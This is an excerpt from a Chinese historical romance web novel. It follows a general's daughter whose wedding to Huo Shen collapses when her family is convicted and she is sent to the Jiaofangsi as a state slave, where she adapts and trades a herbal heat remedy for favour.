《凤落西山何时归》
1. 第 1 章
景元十年除夕夜,远北将军之女宋昔年与帝师霍家庶出的二房嫡子霍慎终于说定了成婚的日期。定在了来年三月开春时,此次是远北将军宋齐亲自上门要求提前商量并早定婚期的,因为先前在宫宴上皇帝下旨命他明年开春后带兵继续镇守西境。
长辈们都在前院大厅说事,宋昔年悄悄溜到霍慎住的院子里找他,被路过的丫鬟告知四公子在书房。
她轻敲房门,里头许久才允了进。推开了门,她看见他并未抬头,于是也就笑盈盈地站在门口歪头看他,并未立马进屋,直到一阵冷风吹进了屋,霍慎才皱眉抬头,却发现一个身着红衣的女子站在门口对着他笑。正值除夕,二八年华的少女穿的十分喜庆华丽,红色的袄裙配着雪白的大氅,头上戴满了金饰华丽耀眼,霍慎一时看入了迷。
“你怎么来了,傻站着不觉得冷吗?快些进屋吧!”急于掩饰自己的尴尬,霍慎并未起身迎接。
宋昔年也不在意,开口问他:“你不知我父亲今日来你家是为了商量要把我们婚期提前的吗?”宋昔年进屋随手带上房门。
“听下人们说了。”霍慎对身边的小厮阿无吩咐道:“茶水有些凉了,去换一壶来。”
“不必了,夜深了,喝多了茶水我会睡不着的。”阿无拿了凳子给宋昔年坐下,她却示意阿无搬到里侧,她想要贴着霍慎坐下。
宋昔年坐下后,顺势挽上了霍慎的胳膊问他:“你在写什么?”
“练字罢了,你这是做什么,快松开我。”霍慎有些不悦,毕竟阿无还在,阿无也很识趣地一直低着头。
宋昔年不理他随意地说:“怕什么,我们很快就是夫妻了,你是该要与我多亲近些的。”宋昔年又紧了紧挽着他的手。
“你不是一直想让我教你练字嘛,现下正是时候。”
“你肯手把手教我了?之前你可是一直说于理不合的。”
霍慎被她看穿意图,急忙问道:“我这里刚好有你喜欢的桃花宣纸,你不想试一试!”
宋昔年有些不耐烦地说:“不试了,天寒地冻的,手都不灵活了,我就想挽着你,这样暖和些。”
霍慎放弃挣扎,对一旁低头的阿无吩咐道:“阿无你再去取些炭来,顺便去我母亲屋里讨些竹叶茶。去差人回禀前头一声,宋小姐在我书房吃茶,别叫他们找不到人。”
宋昔年闻言道:“不用了,我来之前已经请示过了,只不过没让安眠她们跟着罢了。”阿无随即退出书房去取炭火茶水。
宋昔年期待地看着他问:“勤之,能早些嫁给你我很开心,你是否同我一样开心呢?”
“自然!”看着她望着自己的眼神,霍慎居然说不出反驳的话。
宋昔年开心地逗他,“真的?你若能叫出我闺名我就信你!”
霍慎认真地唤出了她的小字,“卿云,宋卿云!”
宋昔年也回应了同样的肯定说道:“对,我叫宋卿云,你的宋卿云。”
霍慎怎么也没想到此时就是眼前少女最爱他的时候,往后多年他再唤起这个名字的时候,她已然不像现在这般期待与欢喜。
阿无取来了炭火和茶水,宋昔年没喝几口就被自己的贴身丫鬟安眠来寻,告知准备回府了。她依依不舍地松开了霍慎的胳膊,霍慎送她出书房。临走前她随手丢给了阿无一袋银钱,趁其不备时,拉着霍慎的衣领在他的脸上轻轻啄了一下,便带着丫鬟慌张地跑开了。被袭击了的霍慎扬了扬嘴角,直到看不见她的身影才关上了书房的门。
阿无上前递出那袋银子,霍慎看了一眼问,“给了多少?”
阿无小心地答:“掂量着大约有二十两了。”
霍慎点头,随意地说:“还真是有钱,给你的便是你的,你自个收着就是!”
他慢悠悠回到了桌前拿起方才宋昔年喝过的茶杯继续喝着茶写着字。
这些日子宋昔年都在准备自己的新婚嫁衣,已有半月未曾出府。这在宋家是没有过的事,从前宋昔年总要想尽一切办法出府玩耍。如今却要在家里绣她自己的嫁衣,要知道宋昔年文还说得过去,最爱舞刀弄枪却最不擅长女红。时常无父母抱怨自己为何不是男子,不能像哥哥和弟弟一样将来以身报国。如今却肯乖乖拿起绣花针,她也是听人说若是新娘子自己亲自绣嫁衣,将来的姻缘会一生顺遂,与爱人相携到老。原本宋夫人已经找好了绣娘准备开工,毕竟婚期在即,但宋昔年非要自己亲自上手,最后还是因自己绣工太差,恐误了婚期这才作罢,但她还是争取到了自己绣盖头的机会。
这日,她还是像往常一样绣着她的盖头,经过前半个月的练习,她终于能在喜布上下针,虽还是不如京城闺秀们那般拿得出手,但不仔细看也还说得过去。她自己也是不太在意,说到底也只是图个好意头罢了。
宋夫人带着几个匣子进了宋昔年的房间说“先别忙了,快过来看看。这些都是你哥哥和外公他们给你的嫁妆,就连你弟弟也给你攒钱买了头面。”
“昔晨,他那几个钱还能买得起头面,别开玩笑了,娘!”
“怎么瞧不起你弟弟给你的添妆啊,我瞧着正合我意。霍家是帝师,素来贤名在外,是出了名的雅正之家,你未来公婆又是庶出,穿衣打扮更是素雅,你若嫁过去自然不好太过高调华丽的。善知送你这套足银的头面,你用来日常佩戴再好不过。还有你嫂子给你准备了一套白玉的头面,也是极好的。贵气不张扬,正是你作为新媳妇该有的态度。”宋夫人耐心交代女儿
宋昔年有些不服气地说:“我不能带我平时的首饰走吗,反正日后我也不在家了,放着不就浪费了,那些也都给我带着吧。我嫁过去不买新的了就是,总不会连我以前的首饰拿出来戴他们也会有意见。毕竟是钟鼎之家,这点气度应该是有的吧。”
宋夫人反驳道:“你之前的首饰头面,挑两套不打眼地带着,其他的我都拿去给你换成银票,你自己收好,别漏了富叫人说嘴。”
宋昔年诧异说道:“那一共也就四套啊,妆奁都装不满的!”
宋夫人严厉地说:“装不满就换个小的,你未来婆婆都没几套头面,你还想着压过她去啊,这不叫人说你目无尊长嘛。”
宋昔年好奇地问:“娘,您怎么知道霍二夫人她有几套头面的,她悄悄同你说了,叫我不要有太多首饰?”
宋夫人解释道:“怎么可能呢,人家可是书香门第出身,这种话她怎么能摆上台面和我这个未来亲家说。只不过是我日常出席妇人聚会时,自己观察的罢了。见她戴来戴去就是那几套,想必是不会有错的。”
宋夫人语气温柔地劝她,“卿云,你听话,你马上就要嫁为人妇,而且是嫁进霍家这种低调知进退的大家族,你万不可再像从前在家一样,
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肆意妄为了,记住了嘛!”
“那我以后的日子是不是要过得很清贫,无趣?”宋昔年摊手。
宋夫人哄道:“不会的,只是叫你不能高调奢靡,要学会收敛而已。他们家好歹也贵为帝师,不至于让你吃不饱穿不暖的,再说了我们该给你的嫁妆还是会都给你带上,只不过都换成了银票,不摆在台面上罢了。你爹爹还托人寻了上好的文房四宝和茶具,等他们明日过来提亲,你回礼时亲自送与你公婆。”
很快到了霍家提亲的日子,虽婚期有些赶,但霍家也是重视这门婚事的,三媒六聘一样不少,知宋齐爱兵器还托了名匠铸造了上好的名剑赠予他,宋昔年去回礼时,不光带了母亲嘱咐的东西,还给未来婆婆带了一套小巧的鎏金头面,全是精致小巧的簪在头上藏于发间不会太过惹眼,霍二夫人满意极了,没想到这儿媳妇心思这般灵巧。
临近婚期,宋昔年赶在不能和霍慎见面之前,约他在茶楼见了一面。一见面宋昔年就和霍慎说个不停,仿佛这是他们最后一次见面说话似的。
宋昔年撒娇道:“你都不知道,我为了亲自绣那盖头手都扎坏了。女红也太难了,比我练功打靶还要辛苦。”随即摊开手掌给霍慎看。
“你不必这样,若做不来就别勉强。”看着她那修长的手指上扎满了细小的针眼,心里五味杂陈,既嫌她蠢,别人轻而易举就能做好的事情,她却把自己弄成如今这般模样,还在同自己抱怨辛苦;又觉得自己心里暖暖的,除了母亲再没人对自己这么用心,宋昔年不说霍慎也知道她这么做的意图。
宋昔年想起还有正事,随即开口说道:“不说这个,我今天找你来是另有事情的。”宋昔年从安眠手里接过匣子,打开了之后推向霍慎。
“哪来这么多钱?”霍慎吃惊地问她。
“这里是两万两银票,我的嫁妆银子,我娘说了叫我自己收好,但我不善管钱,我娘又不许我乱花,叫我嫁你之后低调安分些,我怕我会忍不住乱花,所以干脆都先给你得了。你聪明肯定也很会管钱。”
“你这么做,你爹娘知道吗?”霍慎严肃地看着她,显然对她的做法表示不赞同。
“知道的,我说了要拿来给你,我娘还夸我懂得打算了。我娘也是怕若是我家底太厚嫁进你家,恐你家其他几房长辈会挑我的错处,说我太出风头,毕竟你家向来雅正简朴,毕竟嫁妆单子都是要长辈过目的。我那天去你家还礼之时,也悄悄请教过你娘,你娘说最好现银不要超过万两,所以我就把多余的都拿来给你了。”
“你居然还提前问我娘!”霍慎真是目瞪口呆。
宋昔年无所谓地答道:“问了啊,毕竟都是以后都是一家,这种事做婆婆的预先提点一下我这个未来儿媳,不算出格吧,先问清楚总比以后大家一起吃排头要好,不是吗!”
霍慎好奇地问:“那我娘知道你有多少钱吗?”
“这个我没说,这都是我的体己,怎么能告诉别人!”想了想又觉不对,想要解释。
闻言霍慎说:“我知道你的意思了,那这些钱先放我这,我会找个可靠的人,做点能盈利的买卖,或是置地买房,等到将来我们分府之后,我再连本带利全都归到你名下就是了。”
宋昔年激动地说“好,等分了府,我就不用束手束脚地过日子了。”处理好这些事情,宋昔年便安心回去待嫁。
2. 第 2 章
次年婚礼当天,正值暮春时,气候宜人,高朋满座。每个人都真心祝福这对新人,也有同龄的闺中小姐佩服宋昔年的大胆,羡慕她能得偿所愿,嫁给自己心爱之人。毕竟当初是宋昔年主动撩拨的霍慎,一路穷追猛打,最终让她拿下这位骄矜的翩翩公子,他们的故事也成了一段佳话。
就在宾客正欢时,突然一队官兵冲进霍家,领头的人还带了圣旨,指明了要宋昔年接旨听宣,安眠跌跌撞撞地进入新房通知宋昔年,宋昔年还安慰她说不定是皇帝的什么恩赏,叫她不必担心。
来到前院,宋昔年找到霍慎,与他一同跪下听宣。
“奉天承运,皇帝诏曰,北远将军宋齐,欺君罔上,目无国法,依法当斩,但念其多年功绩,赦免其死罪,贬为罪籍,流放北境,永不得离,其家中男丁一同发配北境,女眷充为官奴,等候发落!”
听到这一消息,宋昔年当场如坠冰窟,不知所措。不明白事情究竟是怎么回事,今日分明是自己最开心的日子,她差一步就能成为霍慎的妻子。更让她担心的是自己父亲,为何突然犯了欺君之罪,要被落籍流放。北境苦寒又常有战乱,父亲兄弟们怎么抗得过。
正当她思绪纷杂时,就听前来宣旨的公公说:“霍帝师,圣上派老奴来也是为了请霍家做个决断,若要保宋昔年就只能让她做妾室,否则此婚约就此作罢,人我现下就要带进罪奴所,听候分配了。”
霍岩,看了一眼霍慎问:“你的意思呢!”
他看了一眼瘫坐在地上的宋昔年,坚定地说:“孙儿全听祖父的。”
霍岩语气中略带欣赏地问他:“你该知道我的答案的,你不怨我?”
霍慎不答,只是继续盯着一旁的宋昔年,希望从她眼里看出点什么,可始终宋昔年都一直低着头,不发一言,更没有看霍慎一眼。
答案显而易见,那公公说宋家所有财产都已经充公,问宋昔年要她的嫁妆单子,好清点财物。宋昔年缓缓从怀里掏出单子,开口:“我能否求帝师一件事,就当是你们霍家悔婚的补偿吧。帝师你可否向陛下求个恩典,我侄儿如今不过四岁,若去北境流放,怕是熬不到地方就没命了,您可否求陛下允我侄儿出了流放名单,在贵府做个小厮,只要留他一条命,我宋家别无所求。”
霍岩平静地说:“我以为你会为自己争取留下来的机会,没想到是为你侄子,也罢就如你所愿吧。”
宋昔年被带走前,最后看了一眼霍慎,只一眼霍慎就心如刀绞,再配上她那淡淡的笑,这一切加起来让霍慎觉得他已经被宋昔年判了死刑。她那穿着红色嫁衣离去的背景很长时间里也成了他的梦魇。
宋昔年被带进罪奴所,见到了母亲嫂子才知道,是几个与父亲政见不合的官员联合上书奏请陛下,彻查父亲之前在东境镇守时,东境干旱饥荒之事。当初因灾情紧急,当地划拨的赈灾粮不知为何迟迟未到,于是他就私自下令用驻军的粮食发放给灾民。次月他上书回京请求加拨粮草军需,顺带提及了自己以军粮救济百姓的事。此后陛下还是允了加拨之事,且有人按时送达。宋齐就以为陛下知晓他的作为。可谁知他上书的折子里并未提及挪用一事,所以陛下认定了他欺君,所以给他降罪。
宋昔年认定,父亲是被冤枉的,但现在没有时间给他们自证清白,所以只能先按兵不动,以图来日之机。她告诉大嫂,宋诺不会被流放,会留于京城在霍家做小厮,不会有性命之忧。她们都惊讶不已,随即释然在霍家做小厮总比去了北境丢了命强,霍家名声在外从来不会有苛待下人之事,她们也可放心,毕竟什么都没活着强。
宋母心疼地问她:“那你和霍慎以后怎么办?宋夫人心疼地看着自己的女儿。”
宋昔年苦笑道:“圣旨都下了能怎么办,我现在是罪奴,他还是帝师之孙,就算我想留下,以霍家人的性格他们怎么会允许一个罪奴进家门,即使是妾也不行的。我还不如识相些用他们的愧疚换阿诺一条命,这样更实际,也更划算。”
三人抱在一起狠狠地哭了一场,因为她们知道出去之后,他们连哭的地方都没有了,宋家人也有自己的坚持。就如同宋昔年没有在霍慎的面前哭,求着他留下自己。她们也不会在别的地方哭,只因为她们知道人逢绝境眼泪毫无用处,它只会让你看起来更脆弱狼狈仅此而已。
这时有衙役打开了牢门,领着宋诺进来,宋昔年就知道宋诺的命算是保住了。宋诺看到亲人,眼泪瞬间决堤。他紧紧地抱着自己的母亲,窝在母亲怀里小声抽泣。
“阿诺,或许明日就会有人接你出去,把你送到霍家做小厮,你记住,以后多做事少说话,多吃饭,好好长大,等着我们去接你。”宋母担心地嘱咐着,只有四岁的孙子。
宋昔年好奇地问他,“你知道什么是小厮吗?”
“姑姑,放心,我晓得的。小厮就是给主家做事的人。方同就是我的小厮,只不过被祖父打发回家去了。”
宋昔年夸奖他,“我们阿诺真是聪明,姑姑还要嘱咐你一件事,霍慎已经不是你姑父了,见到了别叫错了,小心因这个被斥责,但你若有困难还是可以去找他帮忙,姑姑在他那留了些钱,等你大了记得问他要回来。这件事千万不能让任何人知道。”她们围在一起小声地说话,享受着最后能团聚的时光。
次日太阳刚照进牢房,就有衙役领着人朝这边走来,那人到了牢房门口,宋昔年才看清楚,来的人居然是霍慎。霍慎示意衙役打开牢门,他走了进来,阿无跟在他后面,他示意阿无放下手里的东西,让他支走衙役他有话想说。等阿无用银子支走衙役先开口的居然是宋昔年。
宋昔年平静地看着霍慎道:“你出去之后帮我给安眠带句话,让她在我爹他们流放时去送个行,给点银子傍身,买些干粮吃
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食,钱的话你就帮我出了吧,等她办好一切你再给她和安甜一人一笔钱,让她们再另谋出路去吧。”。
霍慎原本想说的话,在见到她的那一刻,竟然全都说不出口了,现在自己再说什么都会显得虚伪。
霍慎向她保证道:“你放心,这些我都会安排好,我带了些水食和衣物给你们备用。罪籍官奴是要先进教坊司学规矩,再放出由百官出钱买卖,你耐心点,好好学,到时候我再想法子。”
宋昔年无力地说着:“不必了,你家既然已经答应保下阿诺,我们从此也就两清了。你我都很清楚,这已是最好的结果也是大家最想要的,不是吗!”
阿无催促道:“时间差不多了,公子。”阿无主动接过宋诺,等着霍慎的下一步动作。
宋昔年故作轻松地对他说:“阿无,我家小宋诺就有劳你多多照拂了。”
阿无恭敬地道:“小姐,放心,我会好好看顾小公子的。”
“如今他可不是公子了,只是罪奴,我也只求他吃饱穿暖,能活着就好。”宋昔年的语气里带着淡淡忧伤。
看着霍慎离开之后,宋昔年终于还是支持不住跌倒在地上,无人时她卸下所有伪装,还是会忍不住地去怨恨霍慎,怨他的懦弱,任由长辈决定自己的去留。恨他的无情,明明她也可以为了他进门做妾,只要他想自己留在他身边。可是他却什么都没做,无声地给他们的感情画上了句号。或许他从未爱过自己,所以才能如此轻易地就放弃了她。
霍慎带着宋诺回到府中,就把宋诺交给了阿无照顾。他在去接人以前就已经向祖父求了宋诺的处置权,说想让宋诺在他身边做个书房的小书童。霍岩准了,毕竟他当众答应宋昔年会保她侄子性命无虞平安长大,只是一个四岁的孩子,放在霍慎身边也无伤大雅,有个熟悉的人看着也许他会安分长大。
霍慎回到了他自己的房间,昨日这里还是他们的新房,一夜之间天翻地覆。下人们撤走了所有的红绸喜布,他的房间又变回了从前的清冷昏暗。他小心地拿出了宋昔年昨日的盖头。这是他昨晚背着人偷偷藏起来开的,以前听她说过,她因为这盖头吃了不少苦,如今自己真正见到了却觉得这抹红刺眼得很,但又舍不得扔,这是她留下的最好的东西。这一方红盖头是宋昔年爱霍慎最有力的证明,也是能让霍慎坚持下去的唯一精神支柱。他把这方盖头和书房宋昔年用过的茶杯放在一处,仔细地收了起来,这也成了他的禁忌之物。
一切收拾妥当之后,他又变成了那个骄矜的霍家四公子,仿佛昨日出现变故的不是他,他还是如往常一般读书习字,认真准备今年秋闱。
只是他的身边多了一个小男孩,他的手里多了一只墨绿的瓷杯,很喜欢把它放手里轻轻摩挲。除了他自己从不让别人触碰,有时用它倒上一杯茶水却又像品酒那样细酌慢饮,常常望着它出神,让人捉摸不透。
3. 第 3 章
宋昔年她们一家三口,在第三日也被教坊司来人接走,刚进教坊司就有婆子对她们的样貌体形做检查和登记。身上的每一处特征都有详细记录,能进教坊司的大多都是罪臣家眷,从前也都是富贵出身,书香世家的夫人小姐,有几人见过这种场面,自然是觉得非常耻辱。
这次,与宋家同在京城被贬送进教坊司的还有一户姓刘的人家,听说是因贪污受贿家里男丁都被斩首,只留孤儿寡母进了教坊司。在进行初检时,要脱衣检查,刘母觉得太过屈辱,自己撞墙寻死,之后就被人用草席裹了抬出教坊司。
宋昔年看了自己母亲和嫂子一眼,却不敢开口,只用眼神示意她们千万不能自寻短见,这刘家夫人就是前车之鉴。她们自然明白宋昔年的意思,紧了紧她的手,让她放宽心。她们与刘家自然是不同的,丈夫孩子都活着就是让她们坚持下去的唯一希望,不论怎样都要活着才能有再相聚的机会。
“下一个,”管事的嬷嬷不屑地叫人。
宋昔年上前规矩地向那嬷嬷行了个礼,之后不发一言地任由检查婆子脱衣搜身,极为配合,结束了她还向两位婆子道了谢。
婆子见她知理识趣,忍不住也提点了一句,说道:“你们如今都是罪籍官奴,这点不用我们说你也应该清楚,但说到底好死不如赖活着。都是女子只要你们不为难我们,我们也不是那阎王罗刹,大家就能相互客客气气地过日子。”
宋昔年感激地道:“我记下了,多谢您的提醒!”她出去了这也是给母亲嫂子打个样,让她们知道只要不反抗就不会被为难。
她们都顺利通过初检,接着就听管事嬷嬷训话。森冷说道:“我知道你们从前都是非富即贵,但如今你们进了教坊司就是最低等奴婢,你们最好忘了你们从前的身份。从此刻开始学会听话顺从,也许将来你们的日子会好过些,当然我教坊司也不是什么地狱魔窟,只要你们学好规矩,将来还是有机会得到主子恩典脱了罪籍重获自由之身的。”
“是,我们谨记嬷嬷教诲!”齐齐向坐在上首端着茶杯的嬷嬷行礼告退。
今日是进入教坊司的第一日,新来的官奴从明日才开始学习规矩。据说在这里学得最快的半年就学成出去了,慢的也有一年的。学的最好的有机会被选进宫,和那些自愿进宫做宫女的人一起进宫参与分配,这样有机会求得恩典,脱了奴籍年纪到了还可以重获自由,剩下的若有从前相熟的人家能买了去,虽永不能脱籍,但凭着从前的情谊出去了日子也不会过得太差,最差的只能去给官妓做仆人,这样最好的结果就是将来自己也成为官妓,从罪籍改为贱籍,以色侍人终老一生。
这样对比起来似乎进宫是最好的选择,但伴君如伴虎,他们这些人最开始不就是被皇家贵人们下旨贬杀的嘛,如此看来真是可笑至极,却又无可奈何。
卯时就有人过来叫起床,宋昔年还并不适应,但负责叫起的婆子居然让宋昔年睡到了自然醒,没有强行把她叫起。原本宋母还想叫女儿起床,但她被呵斥还挨了一下板尺之后就不得不顺了婆子的意思,放弃叫她起床。
宋昔年睡到自然醒的代价就是,今天一整天都不许她吃饭,还要跟着大家一起学规矩,今天学的是站,她一天没吃饭,饿得眼花腿软。教坊司吃饭都有人盯着,管饱但不许多拿,所以宋母没法救济女儿。
第二日卯时,宋昔年是第一个醒的,准确地说她是一夜未睡,实在饿得睡不着。她本想着多吃些,她是被自己母亲阻拦了“卿云,你少吃点,你刚饿了一夜,这样突然暴食对脾胃伤害很大的,你稍稍控制一点。”
宋昔年无奈放下碗筷,说道:“知道了,不吃了,放心吧。”
不知不觉宋昔年已经在教坊司学习了一个月,这一个月她学了很多,基本问安行礼,端茶递水,最重要的事她已经习惯了卯时起床,亥时就寝,这也是作为一个奴婢最基本的事情。学完基本礼仪,嬷嬷开始问她们往日在家时都擅长些什么。开始对她们因材施教,这样能节省时间,其他人大多善于女红,有些也善烹饪,还有些就是极有才气,善琴棋书画,只有宋昔年一人都会一点,但不精通,极为浪费教习的时间。
在进入伏月前的最后一天,也许是天气渐热,负责教习的嬷嬷实在忍无可忍斥责宋昔年道:“你家里人怎么把你就养成这样,样样会点皮毛,还是拿不上台面的那种。你这该如何是好,像你这样就算转了贱籍去做官妓也是不够格的,做官妓最起码要会才艺,要能让恩客开怀,能为你花钱。你既没有拿得出手的才艺,又不懂如何讨男人开心,难道你真的想一辈子在乐章台给官妓姑娘们倒洗脚水和夜香吗!”
宋昔年摆烂答道:“或许人各有命吧,我的命数就该如此,何必挣扎。我会的她们不会,她们会的我又不精。能活着就好,我没别的要求。”
“你会什么?”钱司主不知何时站在她身后。
宋昔年下意识说:“我会武,但嬷嬷们都说没什么用,所以……”
钱司主嘴角含笑说:“没用嘛!在你身上的每种本事都是有用的,只不过要看你怎么用它罢了。”
说着一个手刀劈向宋昔年,两人有来有回地走了数十招,她都能应对得轻松自如,不落下风。
钱司主赞扬地说:“你看这不是很好嘛。没想到你的武功居然不是花架子,还不错!”
“好有什么用,无用武之地再好也是没用的。”宋昔年默默低头苦笑
钱司主认真地看着她说:“起码在想反抗的时候,你不是手无缚鸡之力。”
宋昔年惊讶地抬头看着这个身着繁复金丝绣宝蓝软绸,头上却只有一支银簪的女人。感激道:“多谢司主金玉良言,我此生不会忘却。”
钱司主高高在上地说:“不用谢我,我只是不想我教坊司出去无用的人。还有你既知道我是司主,就应该明白我为主,你为仆,你该自称奴婢而不是我。你在获罪籍,进教坊司的那刻起就不是你了”
“奴婢记下了。”宋昔年不敢反驳。
“记住了,你就能活,记不住你会生不如死,你自己慢慢体会吧!”钱司主转身潇洒离开。
今日钱司主这番话让宋昔年醍醐灌顶,她知道自己若想活着最重要的不是自己的外在本事,而是自己要认清身份摆正位置,否则就算她只是想活着也命不久矣。她还有亲人要顾,所以自己必须安安稳稳地活着。
现在正值伏月,是一年中最热的时候,宋昔年如往常一样,在绣房练习缝补,精进绣工,宋母避着人悄悄地端着一碗茶会催促她喝下,她才知道这是他娘给她做的解暑的茶水。
宋母不安地说:“你快些喝了,这几日有许多姑娘因太热中了暑气,我们也要当心着点。”
宋昔年小声问道:“娘,你是在哪弄得这些,被发现是要受罚的。”
宋母得意地说:“你嫂子在院子墙角处发现一株野生藿香,我并着司里发给我们的菊花在茶炉上煮的水,她们都以为是菊花茶。现在天气太热了,若是光煮菊花茶是不顶用的,我加了藿香保你能挨过夏天。只是这藿香只有这么一小株,只能够我们自己喝,所以不能叫旁人知晓。”
宋昔年当即问:“你和嫂子都喝了吗?”
“我们都喝了,这份是你的,放心喝吧。天这么热都在屋里避暑,你也别在绣房待了,回屋有冰块好歹比这凉快点”宋母看着女儿满头大汗,心疼不已。
“我没事的,我得赶得上平均水平,不能和你跟嫂子差太多,将来分派的时候,我们才有机会在一起呀。娘你放心我有分寸的。你看我现在的绣活是不是比以前好很多了,而且之前绣房嬷嬷还说我的缝补功夫比大部分人好呢。”
宋母骄傲说道:“我女儿自然是最好的”
宋昔年嘱咐道:“娘你先回去吧,这里太热了,我一会也就回去了。”
当晚,又有人中暑,但没到生死关头罪籍女子是不得请大夫随意看诊的,所以大家只能硬抗。这次中暑人数太多,不得不回禀钱司主,但谁知就连司主都中了暑颇感不适。钱司主把人都召集在一起,亲自统计中暑人数以安人心,却发现教坊司有六成的人都已经有中暑症状,严重的已经上吐下泻起不了床。
宋昔年见钱司主脸色不佳,便把今日母亲多做的藿香菊花水给了管事的嬷嬷让她献给司主喝下,也算还了当日司主点醒她的恩情。
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钱司主喝下了茶水,一炷香之后感觉有所好转,便问了宋昔年要方子想给大家都试试。
钱司主开口道:“你今日肯将方子拿出来救治大家算是有功,也不会让你白忙,我会叫人给你五十两银子算作你给所有人看病的诊金。”
“谢司主,奴婢本也不是冲着讨赏来的,只想还了司主当日的点拨之恩,但既然司主要赏奴婢,那奴婢就大着胆子向司主求个恩典。若是将来到了分配之时,我希望司主能够应允奴婢同家人分到一个去处。”宋昔年跪着低下头,不敢去看坐在上首的女人。
钱司主讥笑开口:“你胆子确实是大得很。你可知就你这方子,我去医馆一问便知,你却在这给我提要求!”
宋昔年自信开口:“教坊司但凡是请医问诊都要有记录在册,每季都会有宫里的人来查。若是太多便会被问责,所以教坊司女子看病不易。奴婢的母亲和嫂子都会些岐黄之术,看个头疼脑热不是问题。若是司主答应了奴婢的请求,那在我们离开教坊司之前,我们愿意为大家看诊医治。”
钱司主玩笑说道:“好,反正瞧着你也不像能第一批从这里出去的人,这买卖我不亏。”听着司主吐槽宋昔年,底下站着的人居然有的笑出了声。第二日清晨,教坊司的采购嬷嬷带人买了藿香,回来煮了祛暑的茶水给大家喝。众人也总算熬过这次劫难,往后的日子里大家有个小病小灾的都去找宋氏婆媳问诊,钱司主还叫人收拾了间屋子专门给她们问诊时用,里头还准备了些常用的药材以备不时之需。虽在教坊司没有月钱,但教坊司也会对外接一些富贵人家的绣活或者宫里绣房忙不过来派到教坊司的,这些都有报酬也是教坊司的女人唯一的进项。
过了伏月就到秋天,距离今年会试还有一个月的时候霍岩把要参加考试的孙子都召集起来交代了一番,大意就是说,霍家是文蕴深厚之家,所以考试名次可以不做要求各凭本事,但决不允许考试有舞弊或者直接落榜的行为。否则家法伺候,若是名次好的也会有奖赏,让他们务必认真对待。
霍慎回到书房,看见宋诺一个人在那擦着书桌。看着他的样子,他才想起这几个月从未听到他哭。无事做时,他也只是一个人坐在书房外的台阶上发呆,与从前判若两人。见到霍慎回来,他立马停下手上动作,回到了霍慎为他留的位置上等着他的吩咐。
霍慎无奈地说道:“你还小大可不必做这些,我答应了你姑姑会看顾你自然不会食言的”
宋诺冷淡地回答:“我是小厮,就该做小厮该做的事。家里人说了叫我少说多做,不要惹事。”
霍慎有些恼怒地说:“你现在正是该启蒙的年岁,应该好好读书,小孩子别心思太重。你从前就很好。现在你虽是小厮,但也不代表一直都是小厮,书还是要读的,字也要好好炼,可千万别像你姑姑那一手字,真是……”说到这里在场的三人都是一惊,沉默许久都不开口。
宋诺恭敬回答:“公子对我的好,我都知道,我会好好同您学习。”
霍慎不耐地说:“那你从明天起就放下所有的活,专心读书练字。”
宋诺急切地说:“我干活不会影响读书,我向您保证!”
霍慎不解问道:“你为何如此执着于活计,难道你不干活就没饭吃?”
宋诺低头小声说:“我要攒月钱,等姑姑她们回来,以后用得上的。不干活到了月底账房就没我的记录,就不会给我发月钱的。我现在每个月五百文,这几个月我已经占了有二两了。”
霍慎随即了然说道:“你别担心这些,从小铜钿银子的,你是不是最近和阿无走太近了。只要你好好读书,我会为你打点好将来的。”
宋诺小心试探地开口说“我姑姑说了,只要我不多事,若真遇到困难你是愿意帮我的,对吗!找人教我学武可以吗?”
晚上霍慎又在梦里见到了她,宋昔年穿着红色嫁衣与他背道而驰的样子。不论他怎么叫她的名字她就是不愿停下。一梦醒来他又无法入眠,只能拿出桃花宣纸奋笔疾书,却从没人知道他在上面写了什么。停笔之后,将其锁进紫檀木箱。用那只他惯用的绿瓷杯倒了杯茶喝完之后才能再次强迫自己睡下。
4. 第 4 章
时光如白驹过隙,今日又是教坊司考试的日子,宋昔年的排名又垫底了,所有人都司空见惯了就连她自己也习以为常。每月初一教坊司都会对所有官奴的礼仪、侍奉、针线和个人特长进行考试,再根据成绩实行排名。
宋昔年没有能拿得出手的个人特长,现在经过几个月的不断练习她在针线缝补上还算不错,但缝补终究只是缝补。是最下等的活计,它只能让宋昔年堪堪达到出教坊司的最低门槛。
宋昔年无法像其他人一样凭着针线赚取银钱,凭着能歌善舞争取进宫做宫伎的机会,更没有相熟的人可以买她出去,想必她最后只能被分去乐章台给官妓姑娘做女婢。不过出了教坊司就不用被送去京郊城外的乐营做军妓了
因为她知道没人敢在这个风口浪尖上触皇帝眉头帮她们买赎,所以最后她一定会流入乐章台。
宋母看她走神的厉害,以为她是因为垫底而伤心,开口安慰道:“你已经做得很好了,慢慢来就是了,不管怎样只要我们一家人在一起就是好事。”宋昔年没有说话,只是抱了抱自己的母亲。
距离会试还有十天时间,霍家已经开始帮要科考的孩子准备笔墨纸砚被子吃食。霍慎的吃食是霍二夫人亲自准备的。霍慎亲自倒了杯茶给霍母,霍母看着儿子一副胜券在握的样子觉得很是心疼。
握了握儿子的手道:“其实你不必如此的,其实我和你父亲没有野心的,我和你父亲就你这一个孩子,其实我们更希望你能平安幸福。”
霍慎一手回握母亲,一手举着绿瓷杯,悠闲地喝着茶。“母亲安心,会试是比才学,又不是上战场,没有危险的。”
霍母叹气道:“你知道我不是这个意思,你也老大不小了……”
霍慎皱眉,“是不是庶祖母又和你说些什么了?”
瞧出了儿子的不悦,霍母也只能老实交代说:“其实也没什么,姨娘只是说如今家里还没有长孙,若你抓紧些,或许……”
霍慎讥笑道:“娘,刚不是还说没野心的嘛,怎么现在变着法地催我成婚。”
霍母脸色难看,委屈地说:“我没有这个意思,这是你庶祖母的意思,我一个做儿媳的能说什么!”
“这事才过去不久,若你们现在就急着为我张罗,是想让霍家成为全京城的谈资?”霍慎低头为自己续了杯茶,嘴里轻酌着茶,茶杯在手里慢慢地转着。
霍母不解问道:“这事本就错不在我们,何故耽误你?”
霍慎苦笑着说:“母亲别忘了宋家之前的地位,难道想让霍家落个趋炎附势的名声。就算不在乎这些,如你们所愿,我抢在三个嫡出兄弟前面生下霍家长孙,母亲觉得一个庶出的长孙又有何用?霍家既无实权和爵位可以继承,又没有富甲一方的财产可以瓜分。霍家高居帝师之位,有的只是帝王之师的好听名头和与帝王的一点点师生之情罢了。我们也只是得了祖父的庇佑,若是我败了霍家的名声,母亲觉得我们二房的下场是什么!”
霍母脸色大变说道:“你说得有理,我回去转告你庶祖母先别去你祖父跟前念叨此事,否则肯定会遭你祖父厌弃的。”
